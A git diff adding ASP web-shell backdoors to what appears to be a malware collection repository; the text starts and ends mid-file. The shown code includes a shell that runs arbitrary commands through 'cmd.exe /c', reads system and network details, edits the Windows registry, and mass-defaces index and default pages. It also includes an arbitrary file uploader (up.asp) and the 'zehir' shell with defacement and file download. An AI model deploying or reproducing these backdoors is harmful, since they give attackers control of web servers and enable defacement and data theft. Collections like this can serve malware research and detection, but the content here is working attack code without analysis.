        <DIR> " & showobj(folderItem.path) & "  << PUT

        " + marcatabela = true + for each FilesItem0 in ColFiles0 + If marcatabela = true then + corfundotabela = " bgcolor=""#EEEEEE""" + Else + corfundotabela = "" + End If + Response.Write ":: " & showobj(FilesItem0.path) & "" + marcatabela = NOT marcatabela + next + Response.Write "
          " & FormatNumber(FilesItem0.size/1024, 0) & " Kbytes     o.GET.o    o.REN.o    o.DEL.o    o.VIEW.o    o.EDIT.o    o.DOWNLOAD.o
        " + End If +End Sub +Select Case Trim(Request.QueryString("action")) + Case "get" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + caminho = Replace(Trim(Request.QueryString("path")),"|","\") + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MyFile = ObjFSO.GetFile(caminho) + destino = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) + MyFile.Copy (destino) + If Err.Number = 0 Then + Response.Write "


        Arquivo: " & caminho & "
        copiado para: " & destino + End If + Case "put" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + If Trim(Request.QueryString("arquivo")) = "" Then + caminho = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) + varpath = Trim(Request.QueryString("path")) + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MonRep = ObjFSO.GetFolder(caminho) + Set ColFolders = MonRep.SubFolders + Set ColFiles0 = MonRep.Files + + Response.Write "Selecione o arquivo:
        " + for each FilesItem0 in ColFiles0 + Response.Write "" + next + Response.Write "
        :: " & showobj(FilesItem0.path) & "  " & FormatNumber(FilesItem0.size/1024, 0) & " Kbytes     :: SELECIONAR ::
        " + Else + destino = Replace(Trim(Request.QueryString("path")),"|","\") & "\" + arquivo = Replace(Trim(Request.QueryString("arquivo")),"|","\") + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MyFile = ObjFSO.GetFile(arquivo) + MyFile.Copy (destino) + If Err.Number = 0 Then + Response.Write "


        Arquivo: " & arquivo & "
        copiado para: " & destino + End If + End If + Case "del" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + caminho = Replace(Trim(Request.QueryString("path")),"|","\") + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MyFile = ObjFSO.GetFile(caminho) + MyFile.Delete + If Err.Number = 0 Then + Response.Write "" + Response.Write "


        Arquivo " & caminho & " apagado
        " + End If + Case "ren" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + If Trim(Request.QueryString("status")) <> "2" Then + caminho = Replace(Trim(Request.QueryString("path")),"|","\") + arquivo = showobj(caminho) + Response.Write "
        " & arquivo & "
        " & _ + "
        " & _ + "" & _ + "" & _ + "" & _ + "Digite o novo nome: " & _ + "  " & _ + "
        " + Else + caminho = Replace(Trim(Request.QueryString("path")),"|","\") + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MyFile = ObjFSO.GetFile(caminho) + destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.QueryString("newname")) + MyFile.Move (destino) + If Err.Number = 0 Then + Response.Write "


        Arquivo: " & caminho & "
        renomeado para: " & destino + Response.Write "" + End If + End If + Case "error" + Response.Write "
        C�DIGO CORROMPIDO
        CORRUPT CODE
        " + Case "cmd" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + Set oScript = Server.CreateObject("WSCRIPT.SHELL") + Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") + Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") + szCMD = Request.QueryString(".CMD") + If (szCMD <> "") Then + szTempFile = "c:\" & oFileSys.GetTempName( ) + Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) + Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) + End If + Response.Write "


        " + If (IsObject(oFile)) Then + On Error Resume Next + Response.Write "" + Response.Write Replace(Replace(Server.HTMLEncode(oFile.ReadAll),VbCrLf,"
        ")," "," ") + oFile.Close + Call oFileSys.DeleteFile(szTempFile, True) + End If + Case "info" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + Set WshNetwork = Server.CreateObject("WScript.Network") + Set WshShell = Server.CreateObject("WScript.Shell") + Set WshEnv = WshShell.Environment("SYSTEM") + Response.Write "
        " + Response.Write "IDENTIFICA��O DE REDE:
        " + Response.Write "Usu�rio: " & WshNetwork.UserName & "
        " + Response.Write "Nome do Computador: " & WshNetwork.ComputerName & "
        " + Response.Write "Usu�rio do Dom�nio: " & WshNetwork.UserDomain & "
        " + Set Drives = WshNetwork.EnumNetworkDrives + For i = 0 to Drives.Count - 1 + Response.Write "Drive de Rede (Mapeado): " & Drives.Item(i) & "
        " + Next + Response.Write "
        F�SICO:
        " + Response.Write "Arquitetura do Processador: " & WshEnv("PROCESSOR_ARCHITECTURE") & "
        " + Response.Write "N�mero de Processadores: " & WshEnv("NUMBER_OF_PROCESSORS") & "
        " + Response.Write "Identificador do Processador: " & WshEnv("PROCESSOR_IDENTIFIER") & "
        " + Response.Write "N�vel do Processador: " & WshEnv("PROCESSOR_LEVEL") & "
        " + Response.Write "Revis�o do Processador: " & WshEnv("PROCESSOR_REVISION") & "
        " + Response.Write "
        L�GICO:
        " + Response.Write "IP: " & request.servervariables("LOCAL_ADDR") & "
        " + Response.Write "Sistema Operacional: " & WshEnv("OS") & "
        " + Response.Write "Servidor Web: " & request.servervariables("SERVER_SOFTWARE") & "
        " + Response.Write "Especifica��o do Command: " & WshShell.ExpandEnvironmentStrings("%ComSpec%") & "
        " + Response.Write "Caminhos no Path: " & WshEnv("PATH") & "
        " + Response.Write "Execut�veis: " & WshEnv("PATHEXT") & "
        " + Response.Write "Prompt: " & WshEnv("PROMPT") & "
        " + Response.Write "System Drive: " & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "
        " + Response.Write "System Root: " & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & "
        " + Response.Write "Caminho do System32: " & WshShell.CurrentDirectory & "
        " + Set Drives = Nothing + Set WshNetwork = Nothing + Set WshShell = Nothing + Set WshEnv = Nothing + Case "reg" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + Set WshShell = Server.CreateObject("WScript.Shell") + Response.Write "Editor de Registro:

        " + Select Case Trim(Request.QueryString("regaction")) + Case "w" + If Trim(Request.QueryString("process")) = "yes" Then + Select Case Trim(Request.QueryString("type")) + Case "1" + teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_SZ") + Case "2" + teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_DWORD") + Case "3" + teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_BINARY") + Case "4" + teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_EXPAND_SZ") + Case "5" + teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_MULTI_SZ") + End Select + Response.Write "

        Registro " + Response.Write Trim(Request.QueryString("key")) & " Escrito
        " + Response.Write "

        MENU PRINCIPAL
        " + Else + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
        ROOT KEY NAMEABREVIA��O
        HKEY_CURRENT_USER HKCU
        HKEY_LOCAL_MACHINE HKLM
        HKEY_CLASSES_ROOT HKCR
        HKEY_USERS HKEY_USERS
        HKEY_CURRENT_CONFIG HKEY_CURRENT_CONFIG

        " + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
        Tipo Descri��o Na forma de
        REG_SZ string string
        REG_DWORD n�mero inteiro
        REG_BINARY valor bin�rio VBArray de inteiros
        REG_EXPAND_SZ string expand�vel (ex. ""%windir%\\calc.exe"") string
        REG_MULTI_SZ array de strings VBArray de strings
        " + Response.Write "

        " + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
        KEY:
        ( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )
        VALUE:
        TYPE:
        " + Response.Write "" + Response.Write "" + Response.Write "
        " + Response.Write "

        MENU PRINCIPAL
        " + End If + Case "r" + If Trim(Request.QueryString("process")) = "yes" Then + Response.Write "" & Trim(Request.QueryString("key")) & "
        " + Response.Write "Valor: " & WshShell.RegRead (Trim(Request.QueryString("key"))) + Else + Response.Write "
        " + Response.Write "KEY:
        ( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )
        " + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + End If + Response.Write "

        MENU PRINCIPAL
        " + Case "d" + If Trim(Request.QueryString("process")) = "yes" Then + teste = WshShell.RegDelete (Trim(Request.QueryString("key"))) + Response.Write "Chave " & Trim(Request.QueryString("key")) & " deletada" + Else + Response.Write "
        " + Response.Write "KEY: ( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )
        " + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + End If + Response.Write "

        MENU PRINCIPAL
        " + Case Else + Response.Write "ESCREVER CHAVE

        " + Response.Write "LER CHAVE

        " + Response.Write "DELETAR CHAVE
        " + End Select + Set WshShell = Nothing + Case "txtview" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp & "" + file = Replace(Trim(Request.QueryString("file")),"|","\") + Set fso = CreateObject("Scripting.FileSystemObject") + Set a = fso.OpenTextFile(file) + Response.Write Replace(Replace(Server.HTMLEncode(a.ReadAll),VbCrLf,"
        ")," "," ") + Set a = Nothing + Set fso = Nothing + Case "txtedit" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + If Request.Form.Count = 0 Then + file = Replace(Trim(Request.QueryString("file")),"|","\") + Set fso = CreateObject("Scripting.FileSystemObject") + Set a = fso.OpenTextFile(file) + Response.Write "
        " + Response.Write "
        " + Response.Write "" + Response.Write "     
        " + Set a = Nothing + Set fso = Nothing + Else + Select Case Trim(Request.Form("savemethod")) + Case "Save" + Set fso = CreateObject("Scripting.FileSystemObject") + novotexto = Trim(Request.Form("content")) + novotexto = Split(novotexto,vbCrLf) + Set objstream = fso.OpenTextFile(Replace(Trim(Request.Form("path")),"|","\"),2) + For i = 0 To UBound(novotexto) + objstream.WriteLine(novotexto(i)) + Next + objstream.Close + Set objstream = Nothing + Response.Write "Texto salvo: " & Replace(Trim(Request.Form("path")),"|","\") & "" + Case "Save as" + Set fso = CreateObject("Scripting.FileSystemObject") + novotexto = Trim(Request.Form("content")) + novotexto = Split(novotexto,vbCrLf) + caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt" + Set objstream = fso.CreateTextFile(caminho,true,false) + For i = 0 To UBound(novotexto) + objstream.WriteLine(novotexto(i)) + Next + objstream.Close + Set objstream = Nothing + Response.Write "
        " + Response.Write "
        " + Response.Write "" + Response.Write "
        " + Case Else + caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt" + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MyFile = ObjFSO.GetFile(caminho) + destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.Form("filename")) + MyFile.Move (destino) + If Err.Number = 0 Then + Response.Write "


        Arquivo: " & destino & " salvo!" + Response.Write "" + End If + End Select + End If + Case "download" + Response.Buffer = True + Response.Clear + strFileName = Replace(Trim(Request.QueryString("file")),"|","\") + strFile = Right(strFileName, Len(strFileName) - InStrRev(strFileName,"\")) + strFileType = Request.QueryString("type") + if strFileType = "" then strFileType = "application/download" + Set fso = Server.CreateObject("Scripting.FileSystemObject") + Set f = fso.GetFile(strFilename) + intFilelength = f.size + Set f = Nothing + Set fso = Nothing + Response.AddHeader "Content-Disposition", "attachment; filename=" & strFile + Response.AddHeader "Content-Length", intFilelength + Response.Charset = "UTF-8" + Response.ContentType = strFileType + Set Stream = Server.CreateObject("ADODB.Stream") + Stream.Open + Stream.type = 1 + Stream.LoadFromFile strFileName + Response.BinaryWrite Stream.Read + Response.Flush + Stream.Close + Set Stream = Nothing + Case "upload" + If Request.QueryString("processupload") <> "yes" Then + Response.Write "
        " + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
        Select a file to upload:
        " + Else + Set Uploader = New FileUploader + Uploader.Upload() + If Uploader.Files.Count = 0 Then + Response.Write "File(s) not uploaded." + Else + For Each File In Uploader.Files.Items + File.SaveToDisk Replace(Trim(Request.QueryString("path")),"|","\") + Response.Write "File Uploaded: " & File.FileName & "
        " + Response.Write "Size: " & File.FileSize & " bytes
        " + Response.Write "Type: " & File.ContentType & "

        " + Response.Write "" + Next + End If + End If + Case "mass" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + Sub themassdeface(caminhodomass,metodo,ObjFSO,MeuArquivo) + On Error Resume Next + Set MonRep = ObjFSO.GetFolder(caminhodomass) + Set ColFolders = MonRep.SubFolders + for each folderItem in ColFolders + destino1 = folderItem.path & "\index.htm" + destino2 = folderItem.path & "\index.html" + destino3 = folderItem.path & "\index.asp" + destino4 = folderItem.path & "\index.cfm" + destino5 = folderItem.path & "\index.php" + destino6 = folderItem.path & "\default.htm" + destino7 = folderItem.path & "\default.html" + destino8 = folderItem.path & "\default.asp" + destino9 = folderItem.path & "\default.cfm" + destino10 = folderItem.path & "\default.php" + MeuArquivo.Copy(destino1) + MeuArquivo.Copy(destino2) + MeuArquivo.Copy(destino3) + MeuArquivo.Copy(destino4) + MeuArquivo.Copy(destino5) + MeuArquivo.Copy(destino6) + MeuArquivo.Copy(destino7) + MeuArquivo.Copy(destino8) + MeuArquivo.Copy(destino9) + MeuArquivo.Copy(destino10) + Response.Write "" + If Err.Number = 0 Then + Response.Write "" + Else + Response.Write "
        <DIR> " & folderItem.path & "  DONE!
          " & UCase(Err.Description) & "
        " + End If + Err.Number = 0 + Response.Flush + If metodo = "brute" Then + Call themassdeface(folderItem.path & "\","brute",ObjFSO,MeuArquivo) + End If + next + End Sub + Sub brutemass(caminho,massaction) + If massaction = "test" Then + On Error Resume Next + Set MonRep = ObjFSO.GetFolder(caminho) + Set ColFolders = MonRep.SubFolders + Set ColFiles0 = MonRep.Files + for each folderItem in ColFolders + Set TotalFolders = ObjFSO.GetFolder(folderItem.path) + Set EachFolder = TotalFolders.SubFolders + Response.Write "" + maindestino = folderItem.path & "\" + MeuArquivo.Copy(maindestino) + Response.Write "" + If Err.Number = 0 Then + Response.Write "" + Else + Response.Write "" + End If + Err.Number = 0 + Response.Flush + If EachFolder.count > 0 Then + masscontador = 0 + for each subpasta in EachFolder + masscontador = masscontador + 1 + destino = subpasta.path & "\" + If masscontador = 1 Then + destinofinal = destino + pathfinal = subpasta.path + Err.Number = 0 + MeuArquivo.Copy(destinofinal) + Response.Write "" + If Err.Number = 0 Then + Response.Write "" + Else + Response.Write "" + End If + Err.Number = 0 + Response.Flush + Else + MeuArquivo.Copy(destino) + Response.Write "" + If Err.Number = 0 Then + Response.Write "" + Else + Response.Write "" + End If + Err.Number = 0 + Response.Flush + End If + next + masscontador = 0 + End If + Response.Write "
        <DIR> " & maindestino & "  Acesso Permitido
          " & UCase(Err.Description) & "
        <DIR> " & showobj(pathfinal) & "  Acesso Permitido
          " & UCase(Err.Description) & "
        <DIR> " & showobj(subpasta.path) & "  Acesso Permitido
          " & UCase(Err.Description) & "

        " + Call brutemass(folderItem.path & "\","test") + next + Set MonRep = Nothing + Set ColFolders = Nothing + Set ColFiles0 = Nothing + Else + If Request.Form.Count = 0 Then + Response.Write "

        Brute: copia os arquivos do deface para todas as pastas e subpastas (todos os n�veis) do diret�rio escolhido (mais demorado). O tempo do deface vai variar de acordo com o numero TOTAL de diret�rios.

        " + Response.Write "Single: copia os arquivos do deface apenas para as pastas (primeiro n�vel) do diret�rio escolhido. N�o inclui subpastas.

        " + Response.Write "" + Response.Write "" + Response.Write "
        Insira o c�digo:
        " + Response.Write "
        " + Response.Write "Brute   " + Response.Write "Single
        " + Response.Write "
        " + Response.Write "" + Else + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) + arquivomassdfc = patharquivotxt & "teste.txt" + Set Arquivotxt = ObjFso.OpenTextFile(arquivomassdfc, 2, True, False) + vetordelinhas = Split(Request.Form("content"),VbCrLf) + For i = 0 To UBound(vetordelinhas) + Arquivotxt.WriteLine(vetordelinhas(i)) + Next + Set MeuArquivo = ObjFSO.GetFile(arquivomassdfc) + + If Request.Form("massopt") = "single" Then + Call themassdeface(caminho,"single",ObjFSO,MeuArquivo) + ElseIf Request.Form("massopt") = "brute" Then + Call themassdeface(caminho,"brute",ObjFSO,MeuArquivo) + End If + End If + End If + End Sub + If Trim(Request.QueryString("massact")) = "test" Then + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) + arquivo = patharquivotxt & "_vti_cnf.log" + Set Arquivotxt = ObjFSO.CreateTextFile(arquivo,True) + Set MeuArquivo = ObjFSO.GetFile(arquivo) + Call brutemass(Replace(Trim(Request.QueryString("path")),"|","\"),"test") + ElseIf Trim(Request.QueryString("massact")) = "dfc" Then + Call brutemass(Replace(Trim(Request.Form("path")),"|","\"),"dfc") + End If + Case Else + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + Call showcontent() +End Select +If Err.Number <> 0 Then + Response.Write "
        ERRO: " & Err.Number & "

        " & UCase(Err.Description) & "
        Acesse o ONLINE HELP para a explica��o do erro" +End If +Response.Write endcode +%> + \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/ASP/up.asp b/web-malware-collection-master/Backdoors/ASP/up.asp new file mode 100755 index 0000000..1398fae --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/up.asp @@ -0,0 +1,137 @@ + + +<% + +Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") + +%> + +<% +Response.Buffer = true +Function BuildUpload(RequestBin) + 'Get the boundary + PosBeg = 1 + PosEnd = InstrB(PosBeg,RequestBin,getByteString(chr(13))) + boundary = MidB(RequestBin,PosBeg,PosEnd-PosBeg) + boundaryPos = InstrB(1,RequestBin,boundary) + 'Get all data inside the boundaries + Do until (boundaryPos=InstrB(RequestBin,boundary & getByteString("--"))) + 'Members variable of objects are put in a dictionary object + Dim UploadControl + Set UploadControl = CreateObject("Scripting.Dictionary") + 'Get an object name + Pos = InstrB(BoundaryPos,RequestBin,getByteString("Content-Disposition")) + Pos = InstrB(Pos,RequestBin,getByteString("name=")) + PosBeg = Pos+6 + PosEnd = InstrB(PosBeg,RequestBin,getByteString(chr(34))) + Name = getString(MidB(RequestBin,PosBeg,PosEnd-PosBeg)) + PosFile = InstrB(BoundaryPos,RequestBin,getByteString("filename=")) + PosBound = InstrB(PosEnd,RequestBin,boundary) + 'Test if object is of file type + If PosFile<>0 AND (PosFile + +<% +Function getByteString(StringStr) + For i = 1 to Len(StringStr) + char = Mid(StringStr,i,1) + getByteString = getByteString & chrB(AscB(char)) + Next +End Function +%> + +<% +Function getString(StringBin) + getString ="" + For intCount = 1 to LenB(StringBin) + getString = getString & chr(AscB(MidB(StringBin,intCount,1))) + Next +End Function +%> + +<% +If request("ok")="1" then + Response.Clear + byteCount = Request.TotalBytes + + RequestBin = Request.BinaryRead(byteCount) + + Set UploadRequest = CreateObject("Scripting.Dictionary") + + BuildUpload(RequestBin) + + If UploadRequest.Item("fichero").Item("Value") <> "" Then + + contentType = UploadRequest.Item("fichero").Item("ContentType") + filepathname = UploadRequest.Item("fichero").Item("FileName") + filename = Right(filepathname,Len(filepathname)-InstrRev(filepathname,"\")) + value = UploadRequest.Item("fichero").Item("Value") + + path = UploadRequest.Item("path").Item("Value") + + filename = path & filename + + Set MyFileObject = Server.CreateObject("Scripting.FileSystemObject") + Set objFile = MyFileObject.CreateTextFile(filename) + + For i = 1 to LenB(value) + objFile.Write chr(AscB(MidB(value,i,1))) + Next + objFile.Close + Set objFile = Nothing + Set MyFileObject = Nothing + End If + Set UploadRequest = Nothing +End If +%> + + + +
        + + +
        Target PATH:
        +
        +
        +<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
        +
        +File: <%=filename%> + + diff --git a/web-malware-collection-master/Backdoors/ASP/zehir.asp b/web-malware-collection-master/Backdoors/ASP/zehir.asp new file mode 100755 index 0000000..f1b3574 --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/zehir.asp @@ -0,0 +1,1193 @@ +<% +mpat=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\") +dosyaPath = mid(mpat,InStrRev(mpat,"\")+1) +on error resume next +Dim objFSO,popup +Set objFSO = CreateObject ("Scripting.FileSystemObject") +if Request("kuskapani")=1 then + Response.End +end if +if Request("kuskapani")=2 then + on error resume next + path = Request("path") + sFolder = Request("SubFolder") + fName = Request("FileName") + d1 = Request("dosya1") + d2 = Request("dosya2") + d3 = Request("dosya3") + d4 = Request("dosya4") + bg__ = Request.Form("selectColour") + if bg__ = "0" then bg__ = "#ffffff" + byMesaj = "" & Request("byMesaj") & "

        powered by Z" & Session("n2") & "3 ;)" + + sFolder = Replace(sFolder,"/","\") + + if Right(sFolder,1)<>"\" then sFolder = sFolder & "\" + Set f = objFSO.GetFolder(Path) + Set fc = f.SubFolders + h__ = 0 + f__ = 0 + ss__ = now + For Each f1 In fc + hedef_ = replace(f1.path,"/","\") + if Right(hedef_,1)<>"\" then hedef_ = hedef_ & "\" + hedef__ = left(hedef_,len(hedef_)-1) + folderName_ = Right(hedef__, len(hedef__)-instrrev(hedef__,"\")) + if d1<>"" then d1 = true + if d2<>"" then d2 = true + if d3<>"" then d3 = true + if d4<>"" then d4 = true + on error goto 0:on error resume next + if fName<>"" then + Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & fName, True) + MyFile.write byMesaj + end if + if d1 then + Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.htm", True) + MyFile.write byMesaj + end if + if d2 then + Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.htm", True) + MyFile.write byMesaj + end if + if d3 then + Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.asp", True) + MyFile.write byMesaj + end if + if d4 then + Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.asp", True) + MyFile.write byMesaj + end if + + if err<>0 then + response.Write folderName_ & " [FAILED!]
        " + f__ = f__ + 1 + else + response.Write folderName_ & " [HACKED]
        " + h__ = h__ + 1 + end if + Next + ss___ = now + response.Write "
        by zehir!...
        Sonuc : Toplam S�re : "&left(ss__-ss___,5)&"sn. ;)
        Hacked = "&h__&"
        Failed = "&f__ + response.End +end if + +status = Request("status") +path = Request("path") +dPath = Request("dPath") +arama = Request("txArama") +dkayit = Request("dkayit") +table = Request("table") +del = Request("del") +islem = Request("islem") +strSQL = Request("strSQL") +cf = Request("cf") +pathfile = request("pathfile") +if path="" then path=request.servervariables("APPL_PHYSICAL_PATH") +if status="" then status=2 +popup = true +'//////////////////////////////// +Function ReadBinaryFile(FileName) + Const adTypeBinary = 1 + Dim BinaryStream + Set BinaryStream = CreateObject("ADODB.Stream") + BinaryStream.Type = adTypeBinary + BinaryStream.Open + BinaryStream.LoadFromFile FileName + ReadBinaryFile = BinaryStream.Read +End Function +if status="-3" then + Response.Buffer=True + Set Fil = objFSO.GetFile(pathfile) + + Response.contenttype="application/force-download" + Response.AddHeader "Cache-control","private" + Response.AddHeader "Content-Length", Fil.Size + Response.AddHeader "Content-Disposition", "attachment; filename=" & Fil.name + + Response.BinaryWrite readBinaryFile(Fil.path) + Set f = Nothing: Set Fil = Nothing + response.End() +end if +'////////////////////////////////// +if status="-4" then popup=false +if status="13" then popup=false +if status="14" then popup=false +if status="15" then popup=false +if status="16" then popup=false +if status="17" then popup=false +if status="18" then popup=false +if status="19" then popup=false +if status="33" then popup=false +if status="40" then popup=false +if status="50" then popup=false +byMsg = request.QueryString("byMsg") +if byMsg<>"" then response.Write byMsg +response.Write "[AhmetDeniz.Org] ZehirIV --> powered by zehir <zehirhacker@hotmail.com>" +if popup then +%> +
        +System Info + | +System Test + | +Sites Test + | +Folder Action + | +SQL Server + | +POWERED BY + +<% +end if +'#################################### +Class clsUpload + Private mbinData + Private mlngChunkIndex + Private mlngBytesReceived + Private mstrDelimiter + Private CR + Private LF + Private CRLF + Private mobjFieldAry() + Private mlngCount + + Private Sub RequestData + Dim llngLength + mlngBytesReceived = Request.TotalBytes + mbinData = Request.BinaryRead(mlngBytesReceived) + End Sub + + Private Sub ParseDelimiter() + mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1) + End Sub + + Private Sub ParseData() + Dim llngStart + Dim llngLength + Dim llngEnd + Dim lbinChunk + llngStart = 1 + llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF) + While Not llngStart = 0 + llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2 + llngLength = llngEnd - llngStart + lbinChunk = MidB(mbinData, llngStart, llngLength) + Call ParseChunk(lbinChunk) + llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF) + Wend + End Sub + + Private Sub ParseChunk(ByRef pbinChunk) + Dim lstrName + Dim lstrFileName + Dim lstrContentType + Dim lbinData + Dim lstrDisposition + Dim lstrValue + lstrDisposition = ParseDisposition(pbinChunk) + lstrName = ParseName(lstrDisposition) + lstrFileName = ParseFileName(lstrDisposition) + lstrContentType = ParseContentType(pbinChunk) + If lstrContentType = "" Then + lstrValue = CStrU(ParseBinaryData(pbinChunk)) + Else + lbinData = ParseBinaryData(pbinChunk) + End If + Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData) + End Sub + + Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData) + Dim lobjField + ReDim Preserve mobjFieldAry(mlngCount) + Set lobjField = New clsField + lobjField.Name = pstrName + lobjField.FilePath = pstrFileName + lobjField.ContentType = pstrContentType + If LenB(pbinData) = 0 Then + lobjField.BinaryData = ChrB(0) + lobjField.Value = pstrValue + lobjField.Length = Len(pstrValue) + Else + lobjField.BinaryData = pbinData + lobjField.Length = LenB(pbinData) + lobjField.Value = "" + End If + Set mobjFieldAry(mlngCount) = lobjField + mlngCount = mlngCount + 1 + End Sub + + Private Function ParseBinaryData(ByRef pbinChunk) + Dim llngStart + llngStart = InStrB(1, pbinChunk, CRLF & CRLF) + If llngStart = 0 Then Exit Function + llngStart = llngStart + 4 + ParseBinaryData = MidB(pbinChunk, llngStart) + End Function + + Private Function ParseContentType(ByRef pbinChunk) + Dim llngStart + Dim llngEnd + Dim llngLength + llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare) + If llngStart = 0 Then Exit Function + llngEnd = InStrB(llngStart + 15, pbinChunk, CR) + If llngEnd = 0 Then Exit Function + llngStart = llngStart + 15 + If llngStart >= llngEnd Then Exit Function + llngLength = llngEnd - llngStart + ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength))) + End Function + + Private Function ParseDisposition(ByRef pbinChunk) + Dim llngStart + Dim llngEnd + Dim llngLength + llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare) + If llngStart = 0 Then Exit Function + llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF) + If llngEnd = 0 Then Exit Function + llngStart = llngStart + 22 + If llngStart >= llngEnd Then Exit Function + llngLength = llngEnd - llngStart + ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength)) + End Function + + Private Function ParseName(ByRef pstrDisposition) + Dim llngStart + Dim llngEnd + Dim llngLength + llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare) + If llngStart = 0 Then Exit Function + llngEnd = InStr(llngStart + 6, pstrDisposition, """") + If llngEnd = 0 Then Exit Function + llngStart = llngStart + 6 + If llngStart >= llngEnd Then Exit Function + llngLength = llngEnd - llngStart + ParseName = Mid(pstrDisposition, llngStart, llngLength) + End Function +' ------------------------------------------------------------------------------ + Private Function ParseFileName(ByRef pstrDisposition) + Dim llngStart + Dim llngEnd + Dim llngLength + llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare) + If llngStart = 0 Then Exit Function + llngEnd = InStr(llngStart + 10, pstrDisposition, """") + If llngEnd = 0 Then Exit Function + llngStart = llngStart + 10 + If llngStart >= llngEnd Then Exit Function + llngLength = llngEnd - llngStart + ParseFileName = Mid(pstrDisposition, llngStart, llngLength) + End Function + + Public Property Get Count() + Count = mlngCount + End Property + + Public Default Property Get Fields(ByVal pstrName) + Dim llngIndex + If IsNumeric(pstrName) Then + llngIndex = CLng(pstrName) + If llngIndex > mlngCount - 1 Or llngIndex < 0 Then + Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.") + Exit Property + End If + Set Fields = mobjFieldAry(pstrName) + Else + pstrName = LCase(pstrname) + For llngIndex = 0 To mlngCount - 1 + If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then + Set Fields = mobjFieldAry(llngIndex) + Exit Property + End If + Next + End If + Set Fields = New clsField + End Property + + Private Sub 